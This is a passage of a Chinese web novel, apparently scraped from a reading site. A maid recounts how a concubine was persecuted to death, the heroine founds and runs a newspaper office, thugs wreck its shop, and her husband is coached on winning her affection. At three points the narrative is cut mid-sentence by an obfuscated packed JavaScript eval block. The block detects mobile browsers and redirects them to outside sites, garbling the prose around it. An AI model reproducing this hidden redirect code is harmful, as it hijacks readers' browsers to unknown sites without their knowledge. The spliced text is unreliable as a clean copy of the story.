“我就是那个时候被老爷派去服侍江姨娘的。江姨娘性情温柔，天真单纯又平易近人，因为我年纪小，她甚至常常反过来照顾我，总是怕我累着。平日里老爷将她看得紧，她出不了门，就喜欢向我们打听近期外面发生了什么新鲜有趣的事，和我们这些下人聊天解闷，时常笑得直不起腰。” 孟允抒瞥了眼那个安静立于墙角的柜子。那里面放着各种稀奇古怪的小玩意，从中可以窥见主人的性格。 它们曾经属于这样一个鲜活爱笑的姑娘。 “除此之外，江姨娘最喜欢做的事就是读书。她说，‘读万卷书，行万里路’，她这辈子是做不到后半句了，但她至少有书籍作伴，能从中看到广阔无垠的天地。她总是这样乐观。” 两行眼泪从排云眼中倏然落下，她停顿了许久，才平复好心情继续说下去。 “我原本是个乡下来的野丫头，大字不识几个，但看见江姨娘总是捧着书看，我非常好奇，就问她书上讲了些什么。她说，面对同一篇文章，不同的人有不同的感受，我若只是听她解读，就会失了不少兴味。” “然后她笑着问我，想不想认字。”排云又开始啜泣，“认字以后我就能读书，所以我告诉她，我想识字。” “从那天起，江姨娘每天晚上睡前都会教我识字念书。我记得很清楚，当我第一次完整地念完一篇文章时，江姨娘看起来比我还高兴。” “我也期盼这样的日子能持续下去，但事与愿违。”排云擦了擦眼泪，“陈老爷得了新人，便整日扑在江姨娘房中，招致王夫人的嫉恨。王夫人是陈老爷的发妻，在他还没发迹的时候陪他一起白手起家，没料到他的变心来得如此之快。” “王夫人心机深重，明里暗里地欺负江姨娘，给她使绊子。江姨娘自己也知晓这些，她曾多次向王夫人袒露心迹，说明她只想过安生日子，希望能与王夫人成为一对好姐妹，两人和平共处。” 排云叹了口气：“江姨娘心性善良纯粹，自然将他人想得同她一般美好。王夫人明面上对她的话颇为赞赏，可对付她的手段却日渐阴毒。在她的精心设计之下，陈老爷对江姨娘心生厌弃，到她房中的次数越来越少。” “江姨娘说这样也好，她对陈老爷本来就没多少感情，他走了她反倒落得清净。我也以为从此之后她的日子能好过些。”排云的语气再度变得激昂，“可王夫人不肯善罢甘休。她趁着自己得势，铁了心地要将江姨娘置于死地，以绝后患。” “老爷出门在外时，她就敞开了欺凌虐待江姨娘，让她喝下滚烫的开水，暑天的正午让她跪在院中诵经，诸如此类数不胜数。起初江姨娘还会将此事告知陈老爷，可换来的是老爷的敷衍和厌烦，以及王夫人变本加厉的折磨。长此以往，她便不再向他人求救了。” 说到最后这句话时，排云的眼神十分黯淡。 “数九寒天，王夫人命江姨娘在院中用刺骨的冷水为她洗衣，没多久江姨娘的手上便生出冻疮，到处都是皲裂的伤口，她也染上了风寒。起初她的病情并不严重，只需按时用药就能痊愈，可王夫人却假意关切，说她知道一个偏方，能让江姨娘的病好得更快些。” “几副草药下去，我发现江姨娘的病非但没有好转，反而愈发严重，就找了个时间偷偷前往药铺询问郎中。郎中告诉我，那药方里尽是些寒性的猛药，他们摆明了就是想要江姨娘的性命。” 孟允抒静静地在一旁听着，未发一言。她已经能猜到故事的结局。 “回府之后我将此事告诉江姨娘，她却并不在意。她说，即使她苟活于世，也只是日复一日地忍受非人的生活，还不如让她快些解脱。” “就是在这种情况下，她连笔都拿不稳了，她还坚持教我读书写字。”排云咽下喉头的酸涩，“江姨娘说她时日无多，可教给我的东西能让我走得更远，想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324014|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更清楚，活得更明白。” 孟允抒理解江姨娘的想法。这就是思想启蒙的作用，它让一个人不再愚昧无知。 “江姨娘去世后，我去报官，但王夫人早就买通了县衙的人，根本没人审理此案。王夫人了结一桩心事，命府中下人变卖江姨娘房中的遗物，我再三阻拦却无济于事，只看着王夫人将换来的钱财分给那些曾经害过她的下人们。” 排云咬牙切齿地说：“这群人没一个好东西，全是贪财近利之徒，为了在王夫人面前邀功请赏，他们互相陷害，闹得府里乌烟瘴气，那些下人就是在此事中丧生的。在这之后不久，陈老爷也病发身亡，那些人本来就心里有鬼，一时间府中上下议论纷纷，都说这是江姨娘的冤魂前来索命了。” “我一直咽不下这口恶气，想为江姨娘报仇，他们这话点醒了我。” 排云详细描述了她的作案准备和手段，其与孟允抒的推断别无二致：“罗裙上的血是鸡血，我偶尔会在伙房帮工，弄来这些不是难事。” “后来，府中仆人被吓得魂飞魄散，疯掉的人越多，闹鬼的传言就越发真实，再也没人敢进江姨娘的房间。最后王夫人也受不住这般惊吓，终于失了神智。” 排云长舒一口气：“王夫人固然该死，可真要论起来，此事的罪魁祸首是陈老爷。既然他已经丧命，我也不再追究王夫人的罪过。” “王夫人被接回娘家之后，府中的下人被尽数遣散。后来我听说这宅子被卖了出去。”她沉默片刻，直视着孟允抒的双眼，“此处是江姨娘的房间，留有她的痕迹，是她存在过的唯一证明。我不愿看到她就这样悄无声息地走了，什么都没能留下。” “所以，我扮作脚夫、杂役，趁白天混进雇工当中进入内宅，提前埋伏在树上，翌日再随雇工出去。这是我唯一能为她做的事了。” 待孟允抒回过神想要发问时，她已是泪流满面。 这些年的记者生涯已经让她养成了冷静客观的职业习惯，在采访时鲜少掺杂私人情感，以免让报道有失公允。 可是在今天这件事上她做不到置身事外。 若是江氏还活着，她一定非常愿意加入她的报社，也一定能在新闻事业上大放异彩。 若她并未生在这个时代，而是更遥远的未来，她也能够拥有如她本人一般的美好灿烂的人生。 但这两个假设都不属于她。 屋内的几人一齐陷入长久的静默，半晌无一人开口，似是向江姨娘致以最深切的哀悼。 孟允抒终于找回理智，平复心情问：“你今日所述之事，可有凭据佐证？” 排云对答如流：“郎中那里有看诊记录，我也存着王夫人的那副偏方。这些事府中下人都知道，只是一直被王夫人压着，不许外泄。” 孟允抒有了调查方向，转而问排云：“你不可能一直这样守着江姨娘的卧房和遗物。今后你有什么打算？” “我不知道。”她抬起朦胧的泪眼看向孟允抒，“我一心想着为江姨娘报仇，没想过其余的事。” “她叫什么名字？” 面对这个冷不丁的问题，排云很快反应过来。她的语气铿锵有力。 “她叫江芷兰。” 孟允抒点头。 她有名字。不是作为江家女儿的江氏，不是作为陈老爷侍妾的江姨娘，而是一个独立的人——江芷兰。 孟允抒问排云：“芷兰走了，但她教给你的东西还在，是吗？” “嗯。” “那就让她用另一种方式活下去。”孟允抒笑中含泪，“待此事真相水落石出后，我再与你详谈。” 15. 启业 自孟允抒让陈府闹鬼的内情见报后，消息很快传遍大街小巷，民众对陈老爷、王夫人等人发起猛烈的谴责和唾骂，这两家人犹如过街老鼠，再也不敢光明正大地出门。 同时，大家也对县衙收受贿赂的行为发起声讨。许昭借机将此事禀告皇上，与御史台一同清点旧案卷宗，探查其中是否还有冤假错案，待调查结果水落石出后，对涉案官员一并问罪。 为保护排云的人身安全，孟允抒在报道中用了化名，众人对排云的义举拍手称快，又赞扬江芷兰的高洁善良，此事被改编成戏剧话本，一时间风靡京城。 除此之外，陈府也摆脱了凶宅之称，有好事人专程跑来宅子里一探究竟，得知此处将要新开一家“黎民报社”，又将消息流传出去，奔走相告，让孟允抒收获了一波免费的流量。 一箭三雕。 在此种情况下，报社的一切准备工作都进展得相当顺利。在孟允抒规划的截止日期之前，他们已让宅邸的各处焕然一新，也完成了初步的人员招聘工作，待日后发展壮大再扩充成员数量。 今日是报社试运营的第一天，孟允抒和秋盈起了个大早，前往报社作最终检查，接着召开职工大会，强调报社规章制度和工作注意事项。 孟允抒和秋盈行至报社的临街门面前，见大门已经开了半扇。 门内一人从暗处现出身形，将几扇大门全部打开，对两人笑道：“孟社长，秋掌柜，你们来得好早。” 排云手里握着扫帚，笑意盈盈地看向她们。 在报社工作的首要前提就是识字，单这一条标准就能筛掉不少人。排云聪明伶俐，知恩图报，孟允抒对她十分欣赏，就叫她与那些应聘者一同参与笔试与面试，最后她被录取为报社经营部门的人员，负责小报发行与售卖的工作。 孟允抒别过排云向内院走，几个往来的雇工见到她们，都会道上一声“孟社长”“秋掌柜”。 孟允抒对此很是受用，秋盈则显得有些局促：“夫人，我——” “秋掌柜，工作的时候要称职务。” 孟允抒的调侃让秋盈更是窘迫：“我是府里的下人，如何能当报社的掌柜，你莫要再取笑我。” “我并非在戏弄你。”孟允抒正色道，“你自幼便陪在我身边照顾我，我房中的一切都交由你打理，无论是人员也好，钱财也罢，你都管理得当，不曾有失。报社事务繁杂，平日我又经常在外采闻，店铺需要有人打理，这些事务只有交给你我才放心，还望姐姐不要再推脱。” 人力资源与财务管理是每个公司不容忽视的一环，更是报社运营的基础与命脉。孟允抒思虑再三，决心把这两项关键事务交给她的心腹，由秋盈再将其细化，选拔人才进行管理。 秋盈见孟允抒神情严肃，明白这是她的肺腑之言：“我知道了。我定会尽我所能，为夫——” 她及时更正口误，对孟允抒莞尔一笑：“为社长分忧。” 行至中庭，孟允抒特意进东厢房巡视了一圈。 江芷兰的卧房被她命名为“采闻堂”，作为采编部门的会议室，厅堂正中悬有京城地图，旁边则挂着张幅面较大的宣纸，上面标注着近日舆情热点及调查线索。这些情报当中，部分是孟允抒用声望点换来的，部分是她在街头巷尾打听得知，也有其余探官通过自己的人脉、其余消息渠道得来的。 孟允抒低头抚摸着那张杉木长案。若是江芷兰泉下有知，也一定对今日情景喜闻乐见。 秋盈见她神情落寞，转移话题劝她离开：“时间紧张，我们快去后院看看吧，再过一会大家都该来齐了。” 这句话点醒了孟允抒，待会她还得给职工开会，于是同秋盈移步后院。 报社后院的工坊所占面积最大，主要被分为誊写房、刻版处、印坊、杂物仓库四个区域。 “我以前在两家书坊当过拣字工，还是头一次见让人坐着排字的，真稀奇。” 孟允抒迎着七嘴八舌的讨论走进印坊，里面的工人见状纷纷起身向她问好。 “诸位不必拘礼，都请坐。”她向大家打了招呼，指着屋内的几列字架说道，“此种排字方法出于我个人的灵光一现，先试用一段时间，若各位觉得不适应，或是有更好的主意，随后可找我商量，我们共同对其进行改良。” 利用活字印刷之前得先进行活字排版，印工拿到文稿后，将需要的字模从字库拣出，按文章内容组合成版，接下来才可刷墨印制。 在这一过程中，一切劳动都全凭人力。孟允抒先前在文昌书坊体验过，这样不间断地来回行走、站立，一天下来双腿胀痛不已，长此以往定会对身体造成巨大损伤。 因此在创办报社之前，她就一直在思索，如何解决印工劳动强度大、排字速度慢的问题。 孟允抒作出的尝试是改造字架，每个字架上只存放一千个常用字，这些汉字已经能够覆盖绝大多数的书面资料，使用频率较低的字模则按韵部分类存放在公用活字库中，以备不时之需。这样一来，每个字架的体积大大减小，高度降低，印工可以坐着排版，同时也能提高拣字速度。 将报社各处都巡视完毕后，孟允抒收集了不少员工的疑问和意见，通知所有人到后院中集合开会。 “请诸位安静。”孟允抒站在最前方的台阶上，压下众人的窃窃私语，“我知道各位对报社尚有诸多疑问，接下来我所说的话是重中之重，还请各位谨记。” “小报自先皇以来便已在民间出现，流传甚广，比邸报更受百姓欢迎，受到民众追捧。只是民间小报良莠不齐，常有杜撰新闻者混淆视听，且尚未形成专营小报的店铺。为此我成立报社，诚邀诸位前来共襄盛举，从中受益。” “既然是首创之举，我们定然少有经验可循，但并不代表可以为所欲为，诸位还应循规做事。”她看了一眼萧谨言和秋盈，“我与萧主编和秋掌柜商讨之后，已经拟出一份报社基本例令，稍后会张贴在誊写房中，请各位仔细阅读。部分重点内容我在此额外强调一下。” 她望了望秋盈，收回目光说道：“平日诸位在报社中，彼此之间需以职务或字号相称。” 此言一出，满庭哗然。 报社成员的出身不一，探官和编辑多数是来自小门小户的书生、小姐，工人和伙计则大多为平头百姓，还有排云这样曾做过他人府中仆从的人，每个人都习惯了尊卑有序的交往方式，一时间难以做出改变。 对此孟允抒解释道：“不论各位家境如何，有何过往，在此处一律是报社的成员，自然没有高低贵贱之分。” 她又打趣般地说道：“再者，若是不规定称呼，你叫我一句‘孟夫人’，他叫主编一句‘萧公子’，谁听得出我是哪家的夫人，他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337552|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的公子，岂不是全都乱了套？” 人群发出一阵轻微的哄笑。 孟允抒见众人气氛有所缓和，便言归正传，让话题进入下一部分：“当前报社主要由采编部、刻印部、发行部组成，我大致描述一下各部的职责，方便各位互相配合，增进对彼此的了解。” “厘清各部职责就要先从发报流程说起。”孟允抒介绍道，“一份报纸的诞生要经过多个环节。” “首先是选题。今后每日卯时正刻将召开晨间选题会，众位探官编辑在例会上交流舆情热点，讨论报道选题。” “其次是采写新闻。各探官围绕选题事先进行策划准备，依据线索前去走访调查报道对象，根据采访结果撰写报道。” “探官出稿后将文章交给编辑，由他们进行编修、校对、排版以及审阅工作。” “最后就是小报的印制与发行。写样先生从编辑处接收终稿进行誊写，再交予印工对照印制小报，而后拿给发行部令其售卖。各位刻工负责维护字模，及时补铸损耗活字，若文稿中有必须使用的生僻字，则需要紧急加刻字模。” 孟允抒简述了报社日常的工作流程和各部职责，先让全体员工在实际工作中熟悉一段时间，若有疑问再与她沟通。 “在此特别强调一点，为提高印制效率，也方便民众自由选择，同期小报的不同文章将分别印制收纳，不必将其组合在一起。印成后由买方自行选择购买方案。”孟允抒讲完最后一部分内容，“我要讲的就是这些。请采编部的诸位前去采闻堂集合，我还有些事情强调，其余人员可以先回到各自岗位上熟悉工作了。” 人群三三两两地散开，萧谨言与孟允抒一同前往中庭，略显惊讶地说道：“没看出来你还有这般本事，将报社事务说得条理清晰，头头是道，就像以前做过这种事似的。” 孟允抒在心底恭喜萧谨言答对了。 胤朝没有报社，自然也没有一系列与报社事务相关的专有名词，省事起见，她直接把现代报社工作中的许多专有名词拿来使用，自然信手拈来。 孟允抒感慨，想当初她最讨厌开会和领导讲话，现在却不得不在接二连三的会议中奔波。 人果然会活成自己最讨厌的样子。 她进入堂中，让众人纷纷落座，在座首说道：“在今日的选题会开始之前，我需要再次告诫诸位，采编部是报社的核心，必须明确理念，端正态度。” 她想起现代新闻学的种种乱象，希望能从源头避免这些。 “在采写新闻的过程中，无论何时都要做到不偏不倚，公正无私，不得预设立场，主观臆断，或凭个人喜好偏私一方。初步获取证据后，不要急于下定论，应当多方探查，互验真伪。最后，撰写报道时应实事求是，不得弄虚作假，不得夸大或隐瞒真相。” “为方便事后问责，每篇报道末尾都必须题写探官与编辑代号，诸位稍后可以想想自己的代号，赶午时之前交给我。” 孟允抒的目光掠过长案两边的男女，每个人脸上都带着一副期待又略显担忧的神情。 这是一次崭新的尝试，是他们从未走过的路。 可是，如果没有人敢于去前方探路，为旁人指引方向，所有人就都只能被困于方寸之地。 “我的代号是‘芷兰’。”孟允抒笑道，“第一次选题会正式开始。” 16. 闹事 开业的前几日是最忙的，由于此前没有任何经验可循，报社中的大小事务都需要孟允抒亲自处理。这种状况持续了一周多，报社中的每个人终于走上正轨，各部也开始有序运营起来。 孟允抒和各部主管的办公室位于中庭，是由那个最小的房间改造而来，西厢房则作为编修堂，供报社各位编辑使用。 “新闻报道不同于平日行文，不能这样写。”孟允抒对萧谨言说着，在他拿来的文稿上圈圈改改，“这种字词主观色彩过强，容易煽动读者情绪倒向其中一方，有失公允。” “社长！” 排云欢快地从门外蹦进来，见到萧谨言向他问了声好：“萧主编也在。” 她又面向孟允抒笑道：“昨日你交给我们的事已经办妥了。” 萧谨言见状向孟允抒告退：“我记下了，待会我将这些要点告知各位编辑。你们聊。” 他出去带上了门，孟允抒让排云在她对面坐下：“你说说，情况如何？” 考虑到小报的受众广泛，新闻又具有传播性，孟允抒觉得他们若是只在固定门面售卖小报，恐怕销量有限，于是找来发行部的几个员工下了任务，让他们再去外面联络打听一番，看看还有没有其他推广小报的法子。 “我们在外打探一番后，回来互相交流商讨，发现这些人或许可为我们所用。” 排云开始汇报他们的工作成果：“京中商业发达，城中商铺数量众多，其中不乏做些小本生意的零散摊贩，他们多位于人群密集的街巷，过路人即便不从他们的摊位上购买东西，也能一眼望见他们所售之物。” 孟允抒明白排云的意思。即使他们通过此种渠道卖不出多少报纸，也能趁机打个广告。 “还有走街串巷的卖货郎。我们经打问得知，他们都有各自的行进路线，凑在一起几乎可以覆盖整个京城。”排云将身体前倾，凑近孟允抒说道，“以上这些人中，有一部分明说愿意从我们这里低价买报，尝试售卖一阵看看盈利情况，还有些人仍在犹豫。” 报纸批发分销是个好策略，且摊贩和卖货郎的流动性极高，不用为消息传播的问题发愁。如果能与他们达成长期稳定的合作关系，或许还能培育出专营小报生意的零售点和卖报人。 “这主意不错。我们可以先与这些想要试水的商贩达成合作，起初报价低些，若他们能从中获利，自然愿意与我们长期交易，到那时再涨价也不迟。” 孟允抒向排云交代了一些谈合作的注意事项，又想起新闻时效性的问题。 “至于小报的运输……” 他们所办小报名为《黎民日报》，顾名思义是日出一份，若要尽快送往城中各个分销点，则需要数匹快马分送各处。 不但需要马，还需要精于骑术之人。 一个答案赫然出现在孟允抒脑中。 “稍后我写一封书信，劳烦你将它送到民信局的掌柜那里。你带些银两，率先拿出我们的诚意。等他们尝到甜头，我们再试着与其谈条件。” 民信局是胤朝的民营快递机构，可帮平民传递信件与物品，只是因其在行业中居于垄断地位，要价颇高。 若报社能与分销商贩达成合作，他们每日都需要寄送小报，业务需求量大，若日日如此，他们赚取的利润肯定所剩无几。 排云心领神会地点头，接着提出一个问题：“若是他们不愿压价呢？” 这次孟允抒没有作出回答，却反问她：“如果让你来处理此事，你会怎么做？” 报社事务繁杂，她不能事事亲为，得适当放手让他们自己处理问题。 排云思索一番，脸上渐渐浮现出一个不怀好意的笑容，她极力地压下嘴角，却还是没能把它抻平。 一看就知道她憋着坏。 孟允抒需要秋盈这样稳重的帮手，也需要有主见的聪明人。 “想到什么就说，我不会怪罪你。” “若掌柜不同意薄利多销，那我们只能绕开他行事。”排云笑道，“既然我们每日都有寄送需求，不多时就能与那些驿夫混个脸熟。他们当中不乏爱马之人，即便收入微薄，也会在家中养上一匹马。” “民信局掌柜收的银两到不了他们的口袋，层层分剥下去，到他们手里也没几个钱。既然如此，他们为何不直接与我们联络，接些私活？” 孟允抒听明白了，排云这是想挖墙角。 这手段很卑鄙，但是省时省力。 “既然你心中已有主意，那就放手去做。”孟允抒同意了她的方案，又叮咛她道，“但你要小心行事，莫要让那掌柜发现，招致祸端。” 门外忽然传来一阵急促的脚步声，一个伙计猛地撞开大门闯进来，上气不接下气地对孟允抒喊道：“社长，你快去前面看看，有人闹事，砸我们的铺子！” 孟允抒的心猛然被攥紧，迅速冲出屋子跑向临街的店铺。 报社被砸都是小事，秋盈还在前方的铺中，她绝对不能出事。 “让一让！” 孟允抒拨开铺中的伙计赶到秋盈身边，见她用力按着左手，连忙拉过她的手查看情况：“让我看看。” 秋盈的手掌上有一道狭长的伤口，好在伤得不深，只是稍稍渗出些血迹。 孟允抒看得心疼，对身旁的小姑娘说道：“排云，你去取些纱布来给秋掌柜包扎。” “我没事，只是方才不小心被碎瓷片划了一下，并无大碍。”秋盈安慰着她，又瞥了一眼堵在门口的几个大汉。 孟允抒放下心来，这才将注意力放在那几个面露凶相的男子身上。 他们一共六人，个个身材魁梧壮硕，浑身酒气，其中两人手持棍棒，为首的人腰间挂着个酒囊，衣衫不整，看上去就是游手好闲之辈。 而在他们脚下，散落着一地的花瓶碎片和书籍纸张，原本置于柜台上的物件都一并倒在地上。 结合伙计向她报信时所说的话，不难推断出铺中方才发生了什么事。 孟允抒看他们未带利器，猜测他们不是亡命之徒，便开口问道：“还请诸位对此番状况作出解释。你们这是何意？” 为首的男子将孟允抒上下打量一番，用戏谑的口吻说道：“你就是他们所说的那位孟社长？” 孟允抒对他的语气颇为不快，却并未在面色上显露分毫。 “正是。” 他大笑起来，冲他的同行伙伴挤眉弄眼，嘲弄地说道：“前有这位秋掌柜，后有你这个孟社长，你们不在家中好好绣花，却跑到这来抛头露面，可是挂羊头卖狗肉，假借报社之名做皮肉生意？” “真是下流。” 在一旁的排云猛然上前，孟允抒连忙拦下她，摇摇头示意她先冷静，快从后门出去报官。 “出什么事了？” 萧谨言听见院中的骚乱，和几个编辑匆匆赶至店中，他扫了一眼地上七零八落的东西和秋盈手上的纱布，怒气冲冲地对那几个大汉吼道：“你们好大的胆子，孟社长可是——” “谨言。”孟允抒及时制止他的话，“不要说。” 见萧谨言面红耳赤，那几个大汉反而哄笑起来：“你这行当里居然还有男人！” 萧谨言听出了他们话里的羞辱意味，气得浑身发抖。 黎民报社中的男女员工占比五五开，这在当今的商业活动中极为少见。女子本就容易被这些不轨之人盯上，报社成员又多为文人墨客，看起来风雅俊秀，毫无威慑力，自然不被这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15352208|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地痞流氓放在眼里。 孟允抒决定先拖延时间与对方周旋一会，看向几人冷声道：“只要不曾违反大胤律令，我们开报社还轮不到旁人来说三道四。难道就是因为我们在此经营，你们便要打砸我们的店铺？” “当然不是，孟社长想做什么便做什么，只要你有本事，哪怕把报社开到御街上也未尝不可。” 他刻意加重了“孟社长”三字的音调，话语中满是讽刺。 “但你既然要做生意，就应当明白‘来者皆是客’的道理。”他看向秋盈，佯装痛心道，“我们进来没说上几句话，你们这位秋掌柜就出言不逊，还和我们厮打起来，造成这样一片狼藉。” “胡扯！”一名伙计怒吼着打断他的话，“分明是你们先对秋掌柜动手动脚，我们上前理论，你们却动起了手！” 孟允抒都不用想就知道，凭秋盈的为人和秉性，她绝不可能无缘无故地与他人发生冲突。 但这几人就是典型的泼皮无赖，和他们根本论不出什么对错。 孟允抒问道：“所以几位想如何了结此事？” “孟社长真是爽快。”为首的大汉指指身后一名男子的脑袋，“方才秋掌柜砸伤了我这位兄弟，不作出赔偿说不过去吧？” 孟允抒瞟了一眼那人完好无损的脑袋，他们摆明了就是在碰瓷讹钱。 她冷笑着说道：“客官真是会说笑，这位兄弟未见外伤，你单凭肉眼就能作出此番定论，莫非你的医术比那医祖扁鹊还要高明？” 为首的大汉扬起下巴，双手抱臂：“如此说来，孟社长是不愿意出这笔钱了。” 孟允抒回答：“凡事总得讲个证据，客官此言实在无法服众。” “那我也懒得再同你废话。”他一挥手招呼身后的几个男子，“给我砸。” 铺中场面顿时乱作一团，伙计们一拥而上，阻拦那几名壮汉破坏店中物品，推搡之间局势很快升级，演变成了激烈的互殴，过往行人纷纷驻足，七嘴八舌地议论起来。 “别打了！” 秋盈担心店铺受损，又害怕他们此举于报社名声不利，冲进人堆奋力推开为首的男子。 孟允抒曾学过几招简单的防身术，一边自卫一边在其中维持秩序，一扭头却看见一个持棍男子的棍棒就要落到秋盈身上。 “小心！” 她来不及细想就上前推开秋盈，右肩结结实实地挨了一棍，紧接着耳边响起一阵“衙役来了”的呼喊。 秋盈连忙过来扶着她询问伤势，排云带来的几名衙役简单问了几句情况，将那六人一齐带走，店中的混乱才算告一段落。 孟允抒稍稍活动了下肩膀，发觉疼痛只来自皮肤表层，并未伤及骨头。 她让店里的员工去收拾残局，继续进行手头的工作，高声说道：“我并无大碍，诸位都去忙吧。” 众人各自散去，秋盈则是满面懊悔和自责：“我不该意气用事，反倒连累了你。” “你做得没错，不必内疚。和那些流氓哪能讲得清道理？” 孟允抒宽慰她几句，又抬起她的左手，看看她手上的纱布笑道：“你也受了伤，我们这算是患难与共了。” 打趣一番后，孟允抒言归正传道：“做生意难免会遇到这种不讲理的无赖，今日之事也算是长了个教训。” 她沉思片刻，找出条应对之策：“之前我从书上学了几套防身的招式，回府后我先教给你，你和我一起传授给其余成员。除此之外，我们还得全力以赴运营报社，尽快打响名号，这样也就有了底气。” 报社的事多如牛毛，她向秋盈嘱咐一番，转身欲走时才想起有句话她忘了提醒秋盈。 “不要将今日之事告诉许公子。” 17. 关心 许昭将目光从书上挪开，看向门外的绿植让眼睛稍事休息，却发现天色已经暗了下来。 他估算了下时间，当前应是酉时将尽。 自报社开张以来，孟允抒忙得不可开交，归府的时间比先前在文昌书坊时还要迟上许多，晚饭也经常在外解决。 两人虽处于同一屋檐下，但孟允抒早出晚归，许昭已经连续五日不曾见过她。许府中本就没有多少下人，又少了孟允抒平时谈天说地的热闹劲儿，府中上下都弥漫着冷清的味道。 他正盯着院中之景发怔，一个小厮走进门行了个礼：“老爷。” 许昭回过神，重新拿起书：“再等等吧，兴许孟姑娘稍后就回来了。” “我不是叫您用膳。”小厮笑了笑，“萧家三公子来了，我让他在正厅等您呢。” 许昭前往正厅，与萧睿言寒暄一番后落座。 萧睿言已经赴任，许昭对他的称呼随之改变：“不知萧大人来访所为何事？” 因孟允抒创办报社之事，近日萧睿言与许昭往来频繁，两人也已经算是熟识，故而免了许多客套话。 萧睿言开门见山道：“听闻今日有人在报社闹事，孟夫人受了轻伤，我特来探望。请问她当下状况如何？” “什么？” 许昭没想到萧睿言一开口就是重磅消息，赶紧追问他：“你说孟——允抒受伤了？这是怎么回事？” 萧睿言对此也略显诧异：“我听二哥说的。许大人不知情？” 许昭摇头：“允抒尚未回府，我无从得知报社情况。还请萧大人为我细细讲来。” 萧睿言了然，向他讲述了这场风波的始末，而后又感慨道：“我未曾料到孟夫人竟如此醉心于经营报社，甚至达到了废寝忘食的地步。二哥一个时辰之前就已府，而她居然还在报社中忙碌。大人应当多提醒她保重身体。” 许昭听闻报社之事，又是担忧又是愤慨，一时间不知该说些什么。 见他沉思不语，萧睿言想起先前在萧府园林中和孟允抒的交谈。 “许大人，这是你的家事，本不该由外人多嘴，但孟夫人实乃女中豪杰，令人敬佩，请容我斗胆进言。” 许昭点头道：“大人不必拘礼，直言就是。” “孟夫人知书达理，纵然你与她过往曾有种种纠葛，她却并不记恨大人，也理解你的难处。” 许昭同意萧睿言的话，从孟允抒这段时间的行为中就可以得出这番结论。 在许多事上他都愧对孟允抒，可她先是替他写文章辟谣辩白，而后又坦言不介意他出身低微，还为了替他分忧，不辞辛苦地终日奔忙。 出身显赫却不自视甚高，才华横溢而又通情达理。得妻如此，夫复何求。 “那日我与孟夫人闲聊，她曾抱怨许大人不解风情。”萧睿言将两人的对话添油加醋一番后转述给许昭，“孟夫人说她虽倾心于你，却因你孤僻少语，令她难以接近，不知该如何叩开大人心扉。” 许昭深受震撼，不可置信地问萧睿言：“这话是允抒亲口所说？” 萧睿言笑了起来：“大人若是不信，可以亲自去问孟夫人。” 许昭当然问不出这些话，只能通过孟允抒的近期表现推断萧睿言所言属实。 他竟对她的一腔热情浑然不觉。 萧睿言提醒许昭：“夫妻之间的感情需双方合力经营，大人也应多多关心孟夫人，莫让她寒了心，或是与你生出嫌隙。” 许昭认为萧睿言说得在理，有些无措地请教他道：“许某不善言辞，还请萧大人为我指点一二。” 萧睿言凑近许昭，露出一个高深莫测的笑容。 “大人算是找对人了。在与人交往这方面，睿言可谓经验颇丰。” 许昭点头，认真聆听萧睿言的教诲。 “首先，大人应当改改你的性格，不要总是拒人于千里之外，而是主动关心她，与她沟通。大人若是不拉近你与孟夫人的距离，她又怎能感知到你对她的倾慕与关怀？” “其次，大人应该多陪孟夫人出去走走。她本来就喜爱热闹，若你们一同出游，也可使感情升温。” “还有，你是她的夫君，应当多多重视孟夫人的需求。大人可以试探她有没有什么喜欢的小玩意，买来做礼物送给她，定能讨她欢心。” “除此之外，你可以多观察其他人身为夫君的做法如何，比如适当示弱服软，说些好话夸赞孟夫人……” 许昭一条条地听下来，觉得这其中的门道甚是复杂，但还是耐心记忆着他的锦囊妙计，拿出了他背诵大胤律法的态度。 萧睿言与许昭聊了半晌，他喝了口茶润润嗓子，起身向许昭告辞：“今日天色已晚，我不好再叨扰大人，我们改日再叙。” 在许昭眼里，萧睿言现在俨然是一副恩师的伟岸形象，他将萧睿言恭敬地送出大门，转而叮咛门房：“待孟姑娘回府，你让她直接来我书房。” 直至月上柳梢时，许府门前的石板路上才响起清脆的马蹄声。 孟允抒下了车，还在和秋盈讨论报社之事：“这阵子就先辛苦你观察一阵，若报社中有可用之才，可以提拔他们帮助你管理社中账务，只是最终必须由你过目一遍。” 她们的说话声传进府内，门房及时跑来给两人开了门，告知孟允抒许昭在书房等她。 孟允抒先让秋盈回房，快步赶往许昭处。 通常情况下她和许昭互不打扰，近期她又忙于报社之事，一连几天没见过许昭，都差点忘了府中还有他这号人存在。 这会许昭找她，或许是有什么要紧事。 孟允抒行至书房门前，见里面依然灯火通明，直接抬脚迈了进去。 